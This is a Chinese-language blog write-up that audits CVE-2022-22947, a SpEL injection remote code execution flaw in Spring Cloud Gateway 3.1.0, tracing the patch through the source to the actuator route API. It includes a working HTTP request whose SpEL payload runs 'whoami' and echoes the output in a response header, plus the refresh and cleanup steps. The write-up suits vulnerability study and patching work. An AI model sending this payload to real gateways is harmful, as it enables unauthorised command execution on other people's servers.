CVE 2022 22947 SpringCloud GateWay SPEL RCE Echo Response

語言: CN / TW / HK

環境

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

審計

看diff https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue這個函式用GatewayEvaluationContext替換了StandardEvaluationContext來執行spel表示式

回溯執行點

說明是個spel表示式的rce,向上回溯找到org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType列舉

找到四個地方都在ShortcutConfigurable介面類裡,分佈在ShortcutType的三個列舉值,見上圖圈起來的部分。

三個列舉值都重寫了org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函式

在ShortcutConfigurable介面類中有一個虛擬拓展方法shortcutType(),用到的是ShortcutType.DEFAULT列舉。

繼續向上查詢shortcutType()函式的引用到 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

這個normalizeProperties()是對filter的屬性進行解析,會將filter的配置屬性傳入normalize中,最後進入getValue執行SPEL表示式造成SPEL表示式注入。

正向看filter

根據文件https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 來看,使用者可以通過actuator在閘道器中建立和刪除路由。

路由格式

在idea中通過actuator的mapping功能找到controller

然後看RouteDefinition

其中FilterDefinition類需要有一個name和args鍵值對。

而name在建立路由的時候進行了校驗

name需要和已有的filter相匹配

動態除錯看一下已有的name

那麼到這裡利用已經呼之欲出了

復現

先建立路由,filter中填充spel表示式,然後refresh執行。

name用到了RewritePath,對應的是org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply

需要注意的是這裡args中鍵名要填充replacement屬性,不然會報空指標

然後refresh

rce

堆疊如下

getValue:251, SpelExpression (org.springframework.expression.spel.standard)
getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 150385835 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
...省略...

如何回顯

上述文章知,通過getValue()函式可以講args的value執行spel表示式, 並且儲存為properties ,那麼properties在哪裡可以返回給我們的http response呢?

org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply 中,將config的鍵值對新增到header中

那麼可以用AddResponseHeader來構造請求包

POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Content-Length: 300
Content-Type: application/json
Connection: close

{
    "id": "test1",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd123"
            }
        }
    ],
    "uri": "http://aaa.com",
    "order": 0
}

在構造這個請求包的時候遇到了幾個問題,第一個是我構造的時候沒有傳uri和order,爆空指標異常。然後多次除錯後發現在org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.route.RouteDefinition)函式中對routeDefinition引數進行了處理,所以必須要有uri和order。

uri還必須是一個正確的url才行。

第二個問題是value必須是一個String型別,否則在bind的時候會報型別不匹配異常。因為AddResponseHeaderGatewayFilterFactory採用的配置是NameValueConfig例項,而value是string型別。

最後回顯效果如圖

最後刪除自己建立的路由

DELETE /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Connection: close

寫在文後

這個漏洞是用codeql挖出來的,這個東西真得學一學了。

最後感慨一下,飯前剛想出來用AddResponseHeader回顯,除錯了一些覺得有戲就吃飯了,午休一覺睡醒迷糊之間就發現p牛就發了vulhub環境加poc。

夫破人之與破於人也,臣人之與臣於人也,豈可同日而言之哉?

文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。